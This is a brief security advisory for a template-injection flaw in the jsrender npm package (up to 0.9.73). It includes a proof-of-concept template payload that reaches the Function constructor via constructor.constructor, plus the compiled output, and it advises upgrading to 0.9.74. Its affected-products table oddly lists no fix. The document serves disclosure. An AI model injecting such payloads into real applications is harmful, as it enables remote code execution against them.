CVE-2016-3942 Template Injection in jsrender
MediumCVSS 6.3
- Published
- Unknown
- Updated
- Exploit status
- No public exploit known
Description
Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of Concept
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
Recommendation
Update to version 0.9.74 or later.
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| npm jsrender(npm) | <= 0.9.73 | No fix listed |
References
- github.com patch
- www.npmjs.com
- nvd.nist.gov third-party-advisory
- snyk.io
- github.com